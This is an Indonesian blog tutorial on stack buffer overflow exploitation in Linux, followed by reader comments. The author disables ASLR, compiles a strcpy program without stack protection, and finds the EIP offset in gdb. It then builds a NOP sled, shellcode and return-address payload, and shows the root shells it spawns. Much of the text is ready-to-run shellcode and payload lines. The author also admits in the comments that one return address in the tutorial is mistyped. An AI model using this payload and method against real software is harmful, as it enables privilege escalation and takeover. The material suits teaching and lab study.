Linux Buffer Overflow Tutorial
Linux Buffer Overflow Tutorial
Edisi : Pertama
Penulis : gunslinger_
Tanggal : Sat Jun 26 20:27:41 WIT 2010
Konten :
1. Pendahuluan
2. Konsep exploitasi
3. Attack vector
3.1. NOP
3.2. NOPSLED
3.3. PAYLOAD
4. Special thanks
— Pendahuluan
Setelah saya banyak melakukan penelitian pada kernel linux yang baru – baru ini ,
terutama kernel 2.6.8 ke atas memang tidak mungkin untuk mempraktikan teknik exploitasi buffer overflow dengan cara lama .
maka dari itu saya menulis tutorial ini agar kita bisa mempraktikan “apa itu sebenarnya buffer overflow ?”
pada kernel 2.6.8 ke atas karena kita mendapatkan kernel terbaru pada operting system pada saat ini.
dengan tutorial ini, saya akan menjelaskan secara terperinci menjelaskan teknik exploitasi buffer overflow.
— Konsep Exploitasi buffer overflow
ok, sekarang kita lanjut saja ke topik utama. sekarang kita harus membuat program yang vulnerable terhadap serangan buffer overflow.
———————bof.c————————–
#include <stdio.h> #include <string.h> int main(int argc, char** argv) { char buffer[400]; strcpy(buffer, argv[1]); return 0; }
———————EOF—————————–
kita save dengan nama bof.c .
kita lihat pada source berikut itu bahwa adanya fungsi strcpy() .
fungsi strcpy() sangat berbahaya karena tidak adanya pengecekan filter panjang data yang akan kita input.
ok, sekarang saatnya kita mematikan randomize_va_space memory tujuannya agar kita mudah mengalokasikan memory.
dengan cara seperti berikut.
root@bt:~# cat /proc/sys/kernel/randomize_va_space 2 root@bt:~# echo 0 > /proc/sys/kernel/randomize_va_space root@bt:~# cat /proc/sys/kernel/randomize_va_space 0 root@bt:~#
sekarang saatnya kita meng – compile program tersebut.
perhatian : pada saat mengompile tambahkan opsi -fno-stack-protector dan -mpreferred-stack-boundary=2.
berikut caranya
root@bt:~# gcc -g -o bof -fno-stack-protector -mpreferred-stack-boundary=2 bof.c
sekarang saatnya kita mencari panjang string agar program si program mengalami crash.
root@bt:~# ./bof `perl -e 'print "A" x 400'` root@bt:~# ./bof `perl -e 'print "A" x 403'`
seperti yang kita lihat, data tercopy kedalam buffer dan program exit secara normal.
dimana kita mengkopikan huruf “A” 400 – 403 bytes kedalam buffer.
root@bt:~# ./bof `perl -e 'print "A" x 404'` Segmentation fault root@bt:~#
disitu kita tahu kita membutuhkan 404 panjang string agar si program mengalami crash .
lalu kemudian sekarang yang kita lakukan adalah kita mencari panjang string agar register EIP teroverwrite pada inputan kita.
EIP adalah poin awal dimana instruksi selanjutnya akan tereksekusi, maka jika EIP tersebut kita teroverwrite, kita bisa melakukan apa yang kita mau eksekusi pada saat itu.
sekarang, saatnya kita gunakan GNU debugger atau biasa disebut gdb.
perhatikan pada experiment berikut.
root@bt:~# gdb -q bof (gdb) list 1 #include <stdio.h> 2 #include <string.h> 3 4 int main(int argc, char** argv) 5 { 6 char buffer[400]; 7 strcpy(buffer, argv[1]); 8 9 return 0; 10 } (gdb) run `perl -e 'print "A" x 404'` Starting program: /root/bof `perl -e 'print "A" x 404'` Program received signal SIGSEGV, Segmentation fault. 0xb7e86606 in __libc_start_main () from /lib/tls/i686/cmov/libc.so.6 (gdb) run `perl -e 'print "A" x 405'` The program being debugged has been started already. Start it from the beginning? (y or n) y Starting program: /root/bof `perl -e 'print "A" x 405'` Program received signal SIGSEGV, Segmentation fault. 0xb7e800a9 in ?? () from /lib/tls/i686/cmov/libc.so.6 (gdb)
hmmm terlihat bahwa kita belum mengoverwritenya kita coba lagi tambahkan 1 string
(gdb) run `perl -e 'print "A" x 406'` The program being debugged has been started already. Start it from the beginning? (y or n) y Starting program: /root/bof `perl -e 'print "A" x 406'` Program received signal SIGSEGV, Segmentation fault. 0xb7004141 in ?? () (gdb)
ok, disitu sekarang sudah terlihat kita sedikit lagi mengoverwrite total eip.
perhatikan -> 0xb7004141
disitu ada 4141 , 41 adalah huruf “A” dalam bilangan hexadesimal . namun kita perlu mengoverwrite total address EIP tersebut.
(gdb) run `perl -e 'print "A" x 407'` The program being debugged has been started already. Start it from the beginning? (y or n) y Starting program: /root/bof `perl -e 'print "A" x 407'` Program received signal SIGSEGV, Segmentation fault. 0x00414141 in ?? () (gdb)
sedikit lagi…
(gdb) run `perl -e 'print "A" x 408'` The program being debugged has been started already. Start it from the beginning? (y or n) y Starting program: /root/bof `perl -e 'print "A" x 408'` Program received signal SIGSEGV, Segmentation fault. 0x41414141 in ?? () (gdb)
disitu terlihat bahwa kita telah mengoverwrite total register EIP.
perhatikan -> 0x41414141
kita sudah berhasil mengoverwritenya dengan huruf “A” dengan panjang string 408.
(gdb) i r eax 0x0 0 ecx 0xbffff0b7 -1073745737 edx 0x199 409 ebx 0xb7fc9ff4 -1208180748 esp 0xbffff250 0xbffff250 ebp 0x41414141 0x41414141 esi 0x8048400 134513664 edi 0x8048310 134513424 eip 0x41414141 0x41414141 <-- ter overwrite !! eflags 0x210246 [ PF ZF IF RF ID ] cs 0x73 115 ss 0x7b 123 ds 0x7b 123 es 0x7b 123 fs 0x0 0 gs 0x33 51 (gdb)
sekarang yang perlu kita lakukan adalah dimana keberadaan register ESP (stack pointer).
(gdb) list 1 1 #include <stdio.h> 2 #include <string.h> 3 4 int main(int argc, char** argv) 5 { 6 char buffer[400]; 7 strcpy(buffer, argv[1]); 8 9 return 0; 10 } (gdb) b 7 Breakpoint 1 at 0x80483cd: file bof.c, line 7. (gdb)
perlu diperhatikan kita perlu menggunakan dimana fungsi vulnerable strcpy() sebagai breakpoint untuk mengetahui dimana keberadaan register ESP.
(gdb) run test to see where esp is The program being debugged has been started already. Start it from the beginning? (y or n) y Starting program: /root/bof test to see where esp is Breakpoint 1, main (argc=7, argv=0xbffff434) at bof.c:7 7 strcpy(buffer, argv[1]); (gdb) i r esp esp 0xbffff210 0xbffff210 (gdb)
esp terletak pada address 0xbffff210
— Attack vector
ok sekarang bagian pengexploitasinya. kita butuh membuat attack vector untuk pengexploitasiannya.
sekarang yang perlu dimengerti apa itu NOP , NOPSLED, PAYLOAD.
– NOP
pertama saya akan menjelaskan apa itu NOP.
NOP dalam bahasa assembly adalah no-op atau no operation sampai instruksi selanjutnya tereksekusi.
dengan kata lain NOP adalah bagian yang dilewati sampai instruksi yang benar2 tereksekusi.
disini kita pakai NOP untuk melancarkan attack sampai bertemu instruksi yang kita inginkan.
NOP dalam bentuk opcode adalah “90” atau “\x90” dalam bentuk shellcode.
– NOPSLED
kedua saya akan menjelaskan apa itu NOPSLED. NOPSLED adalah serentetan yang terdiri dari NOP sampai beberapa bytes.
contoh seperti `perl -e ‘print “\x90” x 40’`. maka kita akan mendapatkan “x90” sampai 40 bytes (40 kali).
– PAYLOAD
ketiga saya menjelaskan apa itu PAYLOAD. PAYLOAD adalah serentetan kode yang akan kita eksekusikan.
shellcode adalah sebagai PAYLOAD nya
selanjutnya kita akan memeriksa dimana NOPSLED akan di tempatkan.
kita ulangi address tersebut sampai register EIP teroverwrite.
dan akhirnya memaksa program untuk melanjutkan eksekusi pada alamat NOP.
lalu kita ambil alamat pada register ESP dan kurangi register tersebut. sebut saja bilangan itu 300.
root@bt:~# printf "%x\n" $((0xbffff210-300)) bffff0e4 root@bt:~#
alamat tersebut akan menempatkan kita pada NOPSLED.
sekarang yang kita butuhkan adalah mengkonversi alamat tersebut pada bentuk little endian.
-> e4f0ffbf
lalu kita jadikan ke bentuk shellcode.
-> \xe4\xf0\xff\xbf
sekarang saatnya kita menghitung berapa kali alamat tersebut harus di ulang.
kita tahu bahwa untuk mengoverwrite register EIP kita membutuhkan 408 bytes.
root@bt:~# print "%d\n" $((408 -
kita kurangi dengan panjang NOPSLED kita. panjang NOPSLED kita adalah 200 bytes
root@bt:~# print "%d\n" $((408 - 200
shellcode yang akan kita gunakan shellcode yang akan memberikan shell. kita bisa pakai shellcode berikut :
"\xb0\x17\x31\xdb\xcd\x80\xb0\x0b\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80"
shellcode tersebut berukuran 28 bytes.
dan kurangi 28 bytes untuk shellcode kita.
root@bt:~# printf "%d\n" $((408 - 200 - 28)) 180 root@bt:~#
jadi kita 180 bytes untuk mengulangi alamat tersebut.
karena address memiliki panjang 4 bytes. kita harus membaginya dengan 4.
root@bt:~# printf "%d\n" $((180/4)) 45 root@bt:~#
ok kita telah dapatkan berapa kali yang kita butuhkan untuk mengoverwrite EIP. yaitu 45.
maka payload kita akan seperti berikut :
NOPSLED + SHELLCODE + ESP
`perl -e 'print "\x90" x 200 . "\xb0\x17\x31\xdb\xcd\x80\xb0\x0b\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80" . "\x04\xf1\xff\xbf" x 45'`
sekarang saatnya kita run paload kita tersebut langsung saja di debugger.
(gdb) run `perl -e 'print "\x90" x 200 . "\xb0\x17\x31\xdb\xcd\x80\xb0\x0b\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80" . "\x04\xf1\xff\xbf" x 45'` Starting program: /root/bof `perl -e 'print "\x90" x 200 . "\xb0\x17\x31\xdb\xcd\x80\xb0\x0b\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80" . "\x04\xf1\xff\xbf" x 45'` Breakpoint 1, main (argc=2, argv=0xbffff2d4) at bof.c:7 7 strcpy(buffer, argv[1]); (gdb) continue Continuing. Executing new program: /bin/bash (no debugging symbols found) Error in re-setting breakpoint 1: No symbol table is loaded. Use the "file" command. (no debugging symbols found) Error in re-setting breakpoint 1: No symbol table is loaded. Use the "file" command. (no debugging symbols found) Error in re-setting breakpoint 1: No symbol table is loaded. Use the "file" command. (no debugging symbols found) Error in re-setting breakpoint 1: No symbol table is loaded. Use the "file" command. (no debugging symbols found) Error in re-setting breakpoint 1: No symbol table is loaded. Use the "file" command. (no debugging symbols found) Error in re-setting breakpoint 1: No symbol table is loaded. Use the "file" command. (no debugging symbols found) Error in re-setting breakpoint 1: No symbol table is loaded. Use the "file" command. (no debugging symbols found) Error in re-setting breakpoint 1: No symbol table is loaded. Use the "file" command. (no debugging symbols found) Error in re-setting breakpoint 1: No symbol table is loaded. Use the "file" command. sh-3.2# id uid=0(root) gid=0(root) groups=0(root) sh-3.2# echo WIN. WIN. sh-3.2# exit Program exited normally. (gdb) quit root@bt:~#
selamat ! anda telah sukses mengexploitasi buffer overflow !
— special thanks : devilzc0de crew and jasakom crew
: http://www.devilzc0de.org / http://www.devilzc0de.com – http://www.jasakom.com , indonesianhacker.org, yogyacarderlink.web.id
: serverisdown.org, xc0de.or.id, echo.or.id
seep. keren banget! good programer!
June 26, 2010 at 10:17 am
eit bisaan aja nih om fly
June 26, 2010 at 10:25 am
yep sekarang kita melakukan exploit di ubuntu 9.04
root@localhost:/home/gunslinger/bof# gdb -q bof
(gdb) b 7
Breakpoint 1 at 0x80483cd: file bof.c, line 7.
(gdb) run test to see where esp is
Starting program: /home/gunslinger/bof/bof test to see where esp is
Breakpoint 1, main (argc=7, argv=0xbffff554) at bof.c:7
7 strcpy(buffer, argv[1]);
(gdb) i r esp
esp 0xbffff330 0xbffff330
(gdb) run `perl -e ‘print “\x90” x 200 . “\xb0\x17\x31\xdb\xcd\x80\xb0\x0b\x99\x52\x68\x2f\ x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x8 9\xe1\xcd\x80” . “\x04\xf2\xff\xbf” x 45’`
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/gunslinger/bof/bof `perl -e ‘print “\x90” x 200 . “\xb0\x17\x31\xdb\xcd\x80\xb0\x0b\x99\x52\x68\x2f\ x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x8 9\xe1\xcd\x80” . “\x04\xf2\xff\xbf” x 45’`
Breakpoint 1, main (argc=2, argv=0xbffff3e4) at bof.c:7
7 strcpy(buffer, argv[1]);
(gdb) c
Continuing.
Executing new program: /bin/dash
(no debugging symbols found)
Error in re-setting breakpoint 1: No symbol table is loaded. Use the “file” command.
(no debugging symbols found)
Error in re-setting breakpoint 1: No symbol table is loaded. Use the “file” command.
(no debugging symbols found)
Error in re-setting breakpoint 1: No symbol table is loaded. Use the “file” command.
# id
uid=0(root) gid=0(root) groups=0(root)
# exit
Program exited normally.
(gdb)
PAYLOAD : `perl -e ‘print “\x90” x 200 . “\xb0\x17\x31\xdb\xcd\x80\xb0\x0b\x99\x52\x68\x2f\ x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x8 9\xe1\xcd\x80” . “\x04\xf2\xff\xbf” x 45’`
June 26, 2010 at 1:35 pm
bang q munanya q bingung disini ni
“sebut saja bilangan itu 300”
nilai tigaratus itu dari mana..??
terus ini :
hasil :e4f0ffbf
tapi ko ltl endian jadi :\x04\xf1\xff\xbf bukan kaya gini :\xe4\xf0\xff\xbf
gimana tu bang..? mohon dijelasin bang.
July 6, 2010 at 5:03 am
300 adalah diantara address diantara esp bro kita buat pakai untuk nopsled…
yah dengan kata lain jarak yang akan kita pakai…
masalah little endian ente benar bro ane yang salah tulis
July 6, 2010 at 5:38 am
bisa jelaskan cara dapetin itu nomer nya gianam.? jd intinya cara menghitunggnya..bang
sory ni bang kl ngerepotin tp q pingin belajar dan ini seperti abang..
July 6, 2010 at 6:06 am
sebenarnya itu bukan hal yang konstan , karena itu hanya range address yang akan kita gunakan pada payload jadi kita kurangi
contoh ini register esp saya kurangi dengan 250 saya dapatkan register esp dengan address 0xbffff330
gunslinger@localhost:~$ printf “%x\n” $((0xbffff330 – 250))
bffff236
gunslinger@localhost:~$ \x36\xf2\xff\xbf
root@localhost:/home/gunslinger/bof# gdb -q bof
(gdb) b 7
Breakpoint 1 at 0x80483cd: file bof.c, line 7.
(gdb) run `perl -e ‘print “\x90” x 200 . “\xb0\x17\x31\xdb\xcd\x80\xb0\x0b\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80” . “\x9a\xf2\xff\xbf” x 45’`
Starting program: /home/gunslinger/bof/bof `perl -e ‘print “\x90” x 200 . “\xb0\x17\x31\xdb\xcd\x80\xb0\x0b\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80” . “\x9a\xf2\xff\xbf” x 45’`
Breakpoint 1, main (argc=2, argv=0xbffff3e4) at bof.c:7
7 strcpy(buffer, argv[1]);
(gdb) continue
Continuing.
Program received signal SIGSEGV, Segmentation fault.
0xbffff2ac in ?? ()
(gdb) run `perl -e ‘print “\x90” x 200 . “\xb0\x17\x31\xdb\xcd\x80\xb0\x0b\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80” . “\x36\xf2\xff\xbf” x 45’`
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/gunslinger/bof/bof `perl -e ‘print “\x90” x 200 . “\xb0\x17\x31\xdb\xcd\x80\xb0\x0b\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80” . “\x36\xf2\xff\xbf” x 45’`
Breakpoint 1, main (argc=2, argv=0xbffff3e4) at bof.c:7
7 strcpy(buffer, argv[1]);
(gdb) continue
Continuing.
Executing new program: /bin/dash
(no debugging symbols found)
Error in re-setting breakpoint 1: No symbol table is loaded. Use the “file” command.
(no debugging symbols found)
Error in re-setting breakpoint 1: No symbol table is loaded. Use the “file” command.
(no debugging symbols found)
Error in re-setting breakpoint 1: No symbol table is loaded. Use the “file” command.
# whoami
root
# uname -a
Linux localhost 2.6.28-11-generic #42-Ubuntu SMP Fri Apr 17 01:57:59 UTC 2009 i686 GNU/Linux
# exit
Program exited normally.
(gdb) quit
root@localhost:/home/gunslinger/bof#
lalu saya kurangi register esp dengan 200
gunslinger@localhost:~$ printf “%x\n” $((0xbffff330 – 200))
bffff268
root@localhost:/home/gunslinger/bof# gdb -q bof
(gdb) list
1 #include
2 #include
3
4 int main(int argc, char** argv)
5 {
6 char buffer[400];
7 strcpy(buffer, argv[1]);
8
9 return 0;
10 }
(gdb) b 7
Breakpoint 1 at 0x80483cd: file bof.c, line 7.
(gdb) run `perl -e ‘print “\x90” x 200 . “\xb0\x17\x31\xdb\xcd\x80\xb0\x0b\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80” . “\x68\xf2\xff\xbf” x 45’`
Starting program: /home/gunslinger/bof/bof `perl -e ‘print “\x90” x 200 . “\xb0\x17\x31\xdb\xcd\x80\xb0\x0b\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80” . “\x68\xf2\xff\xbf” x 45’`
Breakpoint 1, main (argc=2, argv=0xbffff3e4) at bof.c:7
7 strcpy(buffer, argv[1]);
(gdb) continue
Continuing.
Executing new program: /bin/dash
(no debugging symbols found)
Error in re-setting breakpoint 1: No symbol table is loaded. Use the “file” command.
(no debugging symbols found)
Error in re-setting breakpoint 1: No symbol table is loaded. Use the “file” command.
(no debugging symbols found)
Error in re-setting breakpoint 1: No symbol table is loaded. Use the “file” command.
#
mendapatkan bilangan pengurangan tersebut tidak konstan bagaimana caranya, melainkan range yang kita ambil sebelum jatuh di register esp (stack pointer)
July 6, 2010 at 7:28 am
ps : di wordpress tick, quote bisa berubah , saya sarankan anda membaca tutorial saya yang berbentuk txt di sini : http://www.exploit-db.com/papers/14069
July 6, 2010 at 7:34 am
ok bang sekarang semakin jelas q pelajari lg bang.
ini guruyang selama ini q cari bukan cuma sqli dan daface2 sana-sini doang, do’ain bang biar q bisa lancar belajarnya.
July 7, 2010 at 1:44 am
wah mangtabs gan…di sini baru sy mengerti sepenuhnya…heheheh ……
good tutorial sob ……………sangat jelas ….thanks sob :D
August 24, 2010 at 5:12 pm